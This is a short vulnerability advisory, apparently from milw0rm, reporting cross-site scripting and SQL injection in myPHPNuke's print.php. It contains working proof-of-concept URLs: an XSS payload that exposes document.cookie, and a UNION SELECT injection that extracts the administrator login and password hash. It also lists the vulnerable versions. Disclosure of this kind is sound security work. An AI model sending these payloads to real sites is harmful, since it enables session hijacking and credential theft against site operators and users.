############################################################
Cross-Site Scripting and SQL Injection vulnerabilities in myPHPNuke
By MustLive (http://websecurity.com.ua)
Detailed information: http://websecurity.com.ua/2391/
Description: There are Cross-Site Scripting and SQL Injection vulnerabilities in print.php in myPHPNuke.
XSS:
http://site/print.php?sid=%3CBODY%20onload=alert(document.cookie)%3E
SQL Injection:
http://site/print.php?sid=-1%20union%20select%20null,null,aid,pwd,null,null%20from%20mpn_authors%20limit%200,1
With this query you will receive login and password (hash) of administrator.
Vulnerable versions are myPHPNuke < 1.8.8_8rc2. In last version the additional filters were added, so it is not vulnerable to these XSS and SQL Injection attacks. But version 1.8.8_8rc2 is still vulnerable to SQL Injection and so limited SQL Injection attack is possible (without using spaces and brackets).
############################################################
# milw0rm.com [2008-08-31]
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation